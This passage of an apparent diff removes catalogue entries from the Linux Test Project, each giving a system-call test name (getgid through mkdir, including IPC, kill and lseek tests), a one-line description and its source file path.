-	<\test_location>
-<\testname>
-<testname=geteuid01>
-	<description>
-		Basic test for geteuid(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/geteuid/geteuid01.c
-	<\test_location>
-<\testname>
-<testname=getgid01>
-	<description>
-		Basic test for getgid(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getgid/getgid01.c
-	<\test_location>
-<\testname>
-<testname=getgid02>
-	<description>
-		Testcase to check the basic functionality of getgid().
-
-	<\description>
-	<test_location>
-	<\test_location>
-<\testname>
-<testname=getgid03>
-	<description>
-		Testcase to check the basic functionality of getegid().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getgid/getgid03.c
-	<\test_location>
-<\testname>
-<testname=getgroups01>
-	<description>
-		Getgroups system call critical test
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getgroups/getgroups01.c
-	<\test_location>
-<\testname>
-<testname=getgroups02>
-	<description>
-		Basic test for getgroups(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getgroups/getgroups02.c
-	<\test_location>
-<\testname>
-<testname=getgroups03>
-	<description>
-		Verify that, getgroups() system call gets the supplementary group IDs
-		of the calling process.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getgroups/getgroups03.c
-	<\test_location>
-<\testname>
-<testname=getgroups04>
-	<description>
-		Verify that,
-		getgroups() fails with -1 and sets errno to EINVAL if the size
-		argument value is -ve.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getgroups/getgroups04.c
-	<\test_location>
-<\testname>
-<testname=gethostid01>
-	<description>
-		Basic test for gethostid(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/gethostid/gethostid01.c
-	<\test_location>
-<\testname>
-<testname=gethostname01>
-	<description>
-		Basic test for gethostname(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/gethostname/gethostname01.c
-	<\test_location>
-<\testname>
-<testname=getitimer01>
-	<description>
-		Check that a correct call to getitimer() succeeds
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getitimer/getitimer01.c
-	<\test_location>
-<\testname>
-<testname=getitimer02>
-	<description>
-		Check that a getitimer() call fails as expected
-		with an incorrect second argument.
-		getitimer03
-
-		Check that a getitimer() call fails as expected
-		with an incorrect first argument.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getitimer/getitimer02.c
-	<\test_location>
-<\testname>
-<testname=getpeername01>
-	<description>
-		Verify that getpeername() returns the proper errno for various failure cases
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getpeername/getpeername01.c
-	<\test_location>
-<\testname>
-<testname=getpgid01>
-	<description>
-		Testcase to check the basic functionality of getpgid().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getpgid/getpgid01.c
-	<\test_location>
-<\testname>
-<testname=getpgid02>
-	<description>
-		Testcase to check the basic functionality of getpgid().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getpgid/getpgid02.c
-	<\test_location>
-<\testname>
-<testname=getpgrp01>
-	<description>
-		Basic test for getpgrp(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getpgrp/getpgrp01.c
-	<\test_location>
-<\testname>
-<testname=getpid01>
-	<description>
-		Basic test for getpid(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getpid/getpid01.c
-	<\test_location>
-<\testname>
-<testname=getpid02>
-	<description>
-		Verify that getpid() system call gets the process ID of the of the
-		calling process.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getpid/getpid02.c
-	<\test_location>
-<\testname>
-<testname=getppid01>
-	<description>
-		Testcase to check the basic functionality of the getppid() syscall.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getppid/getppid01.c
-	<\test_location>
-<\testname>
-<testname=getpriority01>
-	<description>
-		Verify that getpriority() succeeds get the scheduling priority of
-		the current process, process group or user.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getpriority/getpriority01.c
-	<\test_location>
-<\testname>
-<testname=getpriority02>
-	<description>
-		Verify that,
-		1) getpriority() sets errno to ESRCH if no process was located
-		was located for 'which' and 'who' arguments.
-		2) getpriority() sets errno to EINVAL if 'which' argument was
-		not one of PRIO_PROCESS, PRIO_PGRP, or PRIO_USER.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getpriority/getpriority02.c
-	<\test_location>
-<\testname>
-<testname=getresgid01>
-	<description>
-		Verify that getresgid() will be successful to get the real, effective
-		and saved user id of the calling process.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getresgid/getresgid01.c
-	<\test_location>
-<\testname>
-<testname=getresgid02>
-	<description>
-		Verify that getresgid() will be successful to get the real, effective
-		and saved user ids after calling process invokes setregid() to change
-		the effective/saved gids to that of specified user.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getresgid/getresgid02.c
-	<\test_location>
-<\testname>
-<testname=getresgid03>
-	<description>
-		Verify that getresgid() will be successful to get the real, effective
-		and saved user ids after calling process invokes setresgid() to change
-		the effective gid to that of specified user.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getresgid/getresgid03.c
-	<\test_location>
-<\testname>
-<testname=getresuid01>
-	<description>
-		Verify that getresuid() will be successful to get the real, effective
-		and saved user id of the calling process.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getresuid/getresuid01.c
-	<\test_location>
-<\testname>
-<testname=getresuid02>
-	<description>
-		Verify that getresuid() will be successful to get the real, effective
-		and saved user ids after calling process invokes setreuid() to change
-		the effective/saved uids to that of specified user.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getresuid/getresuid02.c
-	<\test_location>
-<\testname>
-<testname=getresuid03>
-	<description>
-		Verify that getresuid() will be successful to get the real, effective
-		and saved user ids after calling process invokes setresuid() to change
-		the effective uid to that of specified user.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getresuid/getresuid03.c
-	<\test_location>
-<\testname>
-<testname=getsid01>
-	<description>
-		call getsid() and make sure it succeeds
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getsid/getsid01.c
-	<\test_location>
-<\testname>
-<testname=getsid02>
-	<description>
-		call getsid() with an invalid PID to produce a failure
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getsid/getsid02.c
-	<\test_location>
-<\testname>
-<testname=getsockname01>
-	<description>
-		Verify that getsockname() returns the proper errno for various failure cases
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getsockname/getsockname01.c
-	<\test_location>
-<\testname>
-<testname=getsockopt01>
-	<description>
-		Verify that getsockopt() returns the proper errno for various failure cases
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getsockopt/getsockopt01.c
-	<\test_location>
-<\testname>
-<testname=gettimeofday01>
-	<description>
-		Testcase to check that gettimeofday(2) sets errno to EFAULT.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/gettimeofday/gettimeofday01.c
-	<\test_location>
-<\testname>
-<testname=gettimeofday02>
-	<description>
-		Testcase to check if gettimeofday is monotonous.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/gettimeofday/gettimeofday02.c
-	<\test_location>
-<\testname>
-<testname=getuid01>
-	<description>
-		Basic test for getuid(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getuid/getuid01.c
-	<\test_location>
-<\testname>
-<testname=getuid02>
-	<description>
-		Testcase to check the basic functionality of the geteuid() system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getuid/getuid02.c
-	<\test_location>
-<\testname>
-<testname=getuid03>
-	<description>
-		Testcase to check the basic functionality of the getuid() system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getuid/getuid03.c
-	<\test_location>
-<\testname>
-<testname=ioctl01>
-	<description>
-		Testcase to check the errnos set by the ioctl(2) system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ioctl/ioctl01.c
-	<\test_location>
-<\testname>
-<testname=ioctl02>
-	<description>
-		Testcase to test the TCGETA, and TCSETA ioctl implementations for
-		the tty driver
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ioctl/ioctl02.c
-	<\test_location>
-<\testname>
-<testname=ioperm01>
-	<description>
-		Basic test for ioperm().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ioperm/ioperm01.c
-	<\test_location>
-<\testname>
-<testname=ioperm02>
-	<description>
-		Test for error conditions.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ioperm/ioperm02.c
-	<\test_location>
-<\testname>
-<testname=iopl01>
-	<description>
-		Basic test for iopl().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/iopl/iopl01.c
-	<\test_location>
-<\testname>
-<testname=iopl02>
-	<description>
-		Test for error conditions.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/iopl/iopl02.c
-	<\test_location>
-<\testname>
-<testname=msgctl01>
-	<description>
-		create a message queue, then issue the IPC_STAT command
-		and RMID commands to test the functionality
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/msgctl/msgctl01.c
-	<\test_location>
-<\testname>
-<testname=msgctl02>
-	<description>
-		create a message queue, then issue the IPC_SET command
-		to lower the msg_qbytes value.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/msgctl/msgctl02.c
-	<\test_location>
-<\testname>
-<testname=msgctl03>
-	<description>
-		create a message queue, then issue the IPC_RMID command
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/msgctl/msgctl03.c
-	<\test_location>
-<\testname>
-<testname=msgctl04>
-	<description>
-		test for EACCES, EFAULT and EINVAL errors using
-		a variety of incorrect calls.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/msgctl/msgctl04.c
-	<\test_location>
-<\testname>
-<testname=msgctl05>
-	<description>
-		test for EPERM error
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/msgctl/msgctl05.c
-	<\test_location>
-<\testname>
-<testname=msgget01>
-	<description>
-		create a message queue, write a message to it and
-		read it back.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/msgget/msgget01.c
-	<\test_location>
-<\testname>
-<testname=msgget02>
-	<description>
-		test for EEXIST and ENOENT errors
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/msgget/msgget02.c
-	<\test_location>
-<\testname>
-<testname=msgget03>
-	<description>
-		test for an ENOSPC error by using up all available
-		message queues.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/msgget/msgget03.c
-	<\test_location>
-<\testname>
-<testname=msgget04>
-	<description>
-		test for an EACCES error by creating a message queue
-		with no read or write permission and then attempting
-		to access it with various permissions.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/msgget/msgget04.c
-	<\test_location>
-<\testname>
-<testname=msgrcv01>
-	<description>
-		test that msgrcv() receives the expected message
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/msgrcv/msgrcv01.c
-	<\test_location>
-<\testname>
-<testname=msgrcv02>
-	<description>
-		test for EACCES and EFAULT errors
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/msgrcv/msgrcv02.c
-	<\test_location>
-<\testname>
-<testname=msgrcv03>
-	<description>
-		test for EINVAL error
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/msgrcv/msgrcv03.c
-	<\test_location>
-<\testname>
-<testname=msgrcv04>
-	<description>
-		test for E2BIG and ENOMSG errors
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/msgrcv/msgrcv04.c
-	<\test_location>
-<\testname>
-<testname=msgrcv05>
-	<description>
-		test for EINTR error
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/msgrcv/msgrcv05.c
-	<\test_location>
-<\testname>
-<testname=msgrcv06>
-	<description>
-		test for EIDRM error
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/msgrcv/msgrcv06.c
-	<\test_location>
-<\testname>
-<testname=msgsnd01>
-	<description>
-		test that msgsnd() enqueues a message correctly
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/msgsnd/msgsnd01.c
-	<\test_location>
-<\testname>
-<testname=msgsnd02>
-	<description>
-		test for EACCES and EFAULT errors
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/msgsnd/msgsnd02.c
-	<\test_location>
-<\testname>
-<testname=msgsnd03>
-	<description>
-		test for EINVAL error
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/msgsnd/msgsnd03.c
-	<\test_location>
-<\testname>
-<testname=msgsnd04>
-	<description>
-		test for EAGAIN error
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/msgsnd/msgsnd04.c
-	<\test_location>
-<\testname>
-<testname=msgsnd05>
-	<description>
-		test for EINTR error
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/msgsnd/msgsnd05.c
-	<\test_location>
-<\testname>
-<testname=msgsnd06>
-	<description>
-		test for EIDRM error
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/msgsnd/msgsnd06.c
-	<\test_location>
-<\testname>
-<testname=semctl01>
-	<description>
-		test the 10 possible semctl() commands
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/semctl/semctl01.c
-	<\test_location>
-<\testname>
-<testname=semctl02>
-	<description>
-		test for EACCES error
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/semctl/semctl02.c
-	<\test_location>
-<\testname>
-<testname=semctl03>
-	<description>
-		test for EINVAL and EFAULT errors
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/semctl/semctl03.c
-	<\test_location>
-<\testname>
-<testname=semctl04>
-	<description>
-		test for EPERM error
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/semctl/semctl04.c
-	<\test_location>
-<\testname>
-<testname=semctl05>
-	<description>
-		test for ERANGE error
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/semctl/semctl05.c
-	<\test_location>
-<\testname>
-<testname=semget01>
-	<description>
-		test that semget() correclty creates a semaphore set
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/semget/semget01.c
-	<\test_location>
-<\testname>
-<testname=semget02>
-	<description>
-		test for EACCES and EEXIST errors
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/semget/semget02.c
-	<\test_location>
-<\testname>
-<testname=semget03>
-	<description>
-		test for ENOENT error
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/semget/semget03.c
-	<\test_location>
-<\testname>
-<testname=semget05>
-	<description>
-		test for ENOSPC error
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/semget/semget05.c
-	<\test_location>
-<\testname>
-<testname=semget06>
-	<description>
-		test for EINVAL error
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/semget/semget06.c
-	<\test_location>
-<\testname>
-<testname=semop01>
-	<description>
-		test that semop() basic functionality is correct
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/semop/semop01.c
-	<\test_location>
-<\testname>
-<testname=semop02>
-	<description>
-		test for E2BIG, EACCES, EFAULT and EINVAL errors
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/semop/semop02.c
-	<\test_location>
-<\testname>
-<testname=semop03>
-	<description>
-		test for EFBIG error
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/semop/semop03.c
-	<\test_location>
-<\testname>
-<testname=semop04>
-	<description>
-		test for EAGAIN error
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/semop/semop04.c
-	<\test_location>
-<\testname>
-<testname=semop05>
-	<description>
-		test for EINTR and EIDRM errors
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/semop/semop05.c
-	<\test_location>
-<\testname>
-<testname=shmat01>
-	<description>
-		test that shmat() works correctly
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/shmat/shmat01.c
-	<\test_location>
-<\testname>
-<testname=shmat02>
-	<description>
-		check for EINVAL and EACCES errors
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/shmat/shmat02.c
-	<\test_location>
-<\testname>
-<testname=shmat03>
-	<description>
-		test for EACCES error
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/shmat/shmat03.c
-	<\test_location>
-<\testname>
-<testname=shmctl01>
-	<description>
-		test the IPC_STAT, IPC_SET and IPC_RMID commands as
-		they are used with shmctl()
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/shmctl/shmctl01.c
-	<\test_location>
-<\testname>
-<testname=shmctl02>
-	<description>
-		check for EACCES, EFAULT and EINVAL errors
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/shmctl/shmctl02.c
-	<\test_location>
-<\testname>
-<testname=shmctl03>
-	<description>
-		check for EACCES, and EPERM errors
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/shmctl/shmctl03.c
-	<\test_location>
-<\testname>
-<testname=shmdt01>
-	<description>
-		check that shared memory is detached correctly
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/shmdt/shmdt01.c
-	<\test_location>
-<\testname>
-<testname=shmdt02>
-	<description>
-		check for EINVAL error
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/shmdt/shmdt02.c
-	<\test_location>
-<\testname>
-<testname=shmget01>
-	<description>
-		test that shmget() correctly creates a shared memory segment
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/shmget/shmget01.c
-	<\test_location>
-<\testname>
-<testname=shmget02>
-	<description>
-		check for ENOENT, EEXIST and EINVAL errors
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/shmget/shmget02.c
-	<\test_location>
-<\testname>
-<testname=shmget03>
-	<description>
-		test for ENOSPC error
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/shmget/shmget03.c
-	<\test_location>
-<\testname>
-<testname=shmget04>
-	<description>
-		test for EACCES error
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/shmget/shmget04.c
-	<\test_location>
-<\testname>
-<testname=shmget05>
-	<description>
-		test for EACCES error
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ipc/shmget/shmget05.c
-	<\test_location>
-<\testname>
-<testname=kill01>
-	<description>
-		Test case to check the basic functionality of kill().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/kill/kill01.c
-	<\test_location>
-<\testname>
-<testname=kill02>
-	<description>
-		Sending a signal to processes with the same process group ID
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/kill/kill02.c
-	<\test_location>
-<\testname>
-<testname=kill03>
-	<description>
-		Test case to check that kill fails when given an invalid signal.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/kill/kill03.c
-	<\test_location>
-<\testname>
-<testname=kill04>
-	<description>
-		Test case to check that kill() fails when passed a non-existant pid.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/kill/kill04.c
-	<\test_location>
-<\testname>
-<testname=kill05>
-	<description>
-		Test case to check that kill() fails when passed a pid owned by another
-		user.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/kill/kill05.c
-	<\test_location>
-<\testname>
-<testname=kill06>
-	<description>
-		Test case to check the basic functionality of kill() when killing an
-		entire process group with a negative pid.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/kill/kill06.c
-	<\test_location>
-<\testname>
-<testname=kill07>
-	<description>
-		Test case to check that SIGKILL can not be caught.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/kill/kill07.c
-	<\test_location>
-<\testname>
-<testname=kill08>
-	<description>
-		Test case to check the basic functionality of kill() when kill an
-		entire process group.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/kill/kill08.c
-	<\test_location>
-<\testname>
-<testname=kill09>
-	<description>
-		Basic test for kill(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/kill/kill09.c
-	<\test_location>
-<\testname>
-<testname=kill10>
-	<description>
-		Signal flooding test.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/kill/kill10.c
-	<\test_location>
-<\testname>
-<testname=kill11>
-	<description>
-		Check that when a child is killed by its parent, it returns the
-		correct values to the waiting parent--child has default values.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/kill/kill11.c
-	<\test_location>
-<\testname>
-<testname=kill12>
-	<description>
-		Check that when a child is killed by its parent, it returns the
-		correct values to the waiting parent--the child sets signal to
-		ignore the kill.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/kill/kill12.c
-	<\test_location>
-<\testname>
-<testname=lchown01>
-	<description>
-		Verify that, lchown(2) succeeds to change the owner and group of a file
-		specified by path to any numeric owner(uid)/group(gid) values when invoked
-		by super-user.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/lchown/lchown01.c
-	<\test_location>
-<\testname>
-<testname=lchown02>
-	<description>
-		Verify that,
-		1) lchown(2) returns -1 and sets errno to EPERM if the effective user id
-		of process does not match the owner of the file and the process is
-		not super user.
-		2) lchown(2) returns -1 and sets errno to EACCES if search permission is
-		denied on a component of the path prefix.
-		3) lchown(2) returns -1 and sets errno to EFAULT if pathname points
-		outside user's accessible address space.
-		4) lchown(2) returns -1 and sets errno to ENAMETOOLONG if the pathname
-		component is too long.
-		5) lchown(2) returns -1 and sets errno to ENOTDIR if the directory
-		component in pathname is not a directory.
-		6) lchown(2) returns -1 and sets errno to ENOENT if the specified file
-		does not exists.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/lchown/lchown02.c
-	<\test_location>
-<\testname>
-<testname=link02>
-	<description>
-		Basic test for link(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/link/link02.c
-	<\test_location>
-<\testname>
-<testname=link03>
-	<description>
-		Multi links tests
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/link/link03.c
-	<\test_location>
-<\testname>
-<testname=link04>
-	<description>
-		Negative test cases for link(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/link/link04.c
-	<\test_location>
-<\testname>
-<testname=link05>
-	<description>
-		Multi links (EMLINK) negative test
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/link/link05.c
-	<\test_location>
-<\testname>
-<testname=listen01>
-	<description>
-		Verify that listen() returns the proper errno for various failure cases
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/listen/listen01.c
-	<\test_location>
-<\testname>
-<testname=llseek01>
-	<description>
-		Verify that, llseek() call succeeds to set the file pointer position
-		to an offset larger than file size. Also, verify that any attempt
-		to write to this location fails.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/llseek/llseek01.c
-	<\test_location>
-<\testname>
-<testname=llseek02>
-	<description>
-		Verify that,
-		1. llseek() returns -1 and sets errno to EINVAL, if the 'Whence' argument
-		is not a proper value.
-		2. llseek() returns -1 and sets errno to EBADF, if the file handle of
-		the specified file is not valid.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/llseek/llseek02.c
-	<\test_location>
-<\testname>
-<testname=lseek01>
-	<description>
-		Basic test for lseek(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/lseek/lseek01.c
-	<\test_location>
-<\testname>
-<testname=lseek02>
-	<description>
-		Negative test for lseek(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/lseek/lseek02.c
-	<\test_location>
-<\testname>
-<testname=lseek03>
-	<description>
-		Negative test for lseek(2) whence
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/lseek/lseek03.c
-	<\test_location>
-<\testname>
-<testname=lseek04>
-	<description>
-		Negative test for lseek(2) of a fifo
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/lseek/lseek04.c
-	<\test_location>
-<\testname>
-<testname=lseek05>
-	<description>
-		Negative test for lseek(2) of a pipe
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/lseek/lseek05.c
-	<\test_location>
-<\testname>
-<testname=lseek06>
-	<description>
-		Verify that, lseek() call succeeds to set the file pointer position
-		to less than or equal to the file size, when a file is opened for
-		read or write.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/lseek/lseek06.c
-	<\test_location>
-<\testname>
-<testname=lseek07>
-	<description>
-		Verify that, lseek() call succeeds to set the file pointer position
-		to more than the file size, when a file is opened for reading/writing.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/lseek/lseek07.c
-	<\test_location>
-<\testname>
-<testname=lseek08>
-	<description>
-		Verify that, lseek() call succeeds to set the file pointer position
-		to the end of the file when 'whence' value set to SEEK_END and any
-		attempts to read from that position should fail.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/lseek/lseek08.c
-	<\test_location>
-<\testname>
-<testname=lseek09>
-	<description>
-		Verify that, lseek() call succeeds to set the file pointer position
-		to the current specified location, when 'whence' value is set to
-		SEEK_CUR and the data read from the specified location should match
-		the expected data.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/lseek/lseek09.c
-	<\test_location>
-<\testname>
-<testname=lseek10>
-	<description>
-		Verify that,
-		1. lseek() returns -1 and sets errno to ESPIPE, if the file handle of
-		the specified file is associated with a pipe, socket, or FIFO.
-		2. lseek() returns -1 and sets errno to EINVAL, if the 'Whence' argument
-		is not a proper value.
-		3. lseek() returns -1 and sets errno to EBADF, if the file handle of
-		the specified file is not valid.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/lseek/lseek10.c
-	<\test_location>
-<\testname>
-<testname=lstat01>
-	<description>
-		Verify that, lstat(2) succeeds to get the status of a file pointed to by
-		symlink and fills the stat structure elements.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/lstat/lstat01.c
-	<\test_location>
-<\testname>
-<testname=lstat02>
-	<description>
-		Basic test for lstat(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/lstat/lstat02.c
-	<\test_location>
-<\testname>
-<testname=lstat03>
-	<description>
-		Verify that,
-		1) lstat(2) returns -1 and sets errno to EACCES if search permission is
-		denied on a component of the path prefix.
-		2) lstat(2) returns -1 and sets errno to ENOENT if the specified file
-		does not exists or empty string.
-		3) lstat(2) returns -1 and sets errno to EFAULT if pathname points
-		outside user's accessible address space.
-		4) lstat(2) returns -1 and sets errno to ENAMETOOLONG if the pathname
-		component is too long.
-		5) lstat(2) returns -1 and sets errno to ENOTDIR if the directory
-		component in pathname is not a directory.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/lstat/lstat03.c
-	<\test_location>
-<\testname>
-<testname=mallopt>
-	<description>
-		Test basic functionality of mallopt().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mallopt
-	<\test_location>
-<\testname>
-<testname=memcmp>
-	<description>
-		Test basic functionality of memcmp().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/memcmp
-	<\test_location>
-<\testname>
-<testname=memcpy>
-	<description>
-		Test basic functionality of memcpy().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/memcpy
-	<\test_location>
-<\testname>
-<testname=memset>
-	<description>
-		Test basic functionality of memset().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/memset
-	<\test_location>
-<\testname>
-<testname=mkdir01>
-	<description>
-		Basic errno test for mkdir(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mkdir/mkdir01.c
-	<\test_location>
-<\testname>
-<testname=mkdir02>
-	<description>
-		This test will verify that new directory created
-		by mkdir(2) inherites the group ID from the parent
-		directory and S_ISGID bit, if the S_ISGID bit is set
-		in the parent directory.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mkdir/mkdir02.c
-	<\test_location>
-<\testname>
-<testname=mkdir03>
-	<description>
-		Check mkdir() with various error conditions that should produce
-		EFAULT, ENAMETOOLONG, EEXIST, ENOENT and ENOTDIR
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mkdir/mkdir03.c
-	<\test_location>
-<\testname>
-<testname=mkdir04>
-	<description>
-		Attempt to create a directory in a directory having no permissions.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mkdir/mkdir04.c
-	<\test_location>
-<\testname>
-<testname=mkdir05>
-	<description>
-		This test will verify the mkdir(2) syscall basic functionality
-
-	<\description>
-	<test_location>
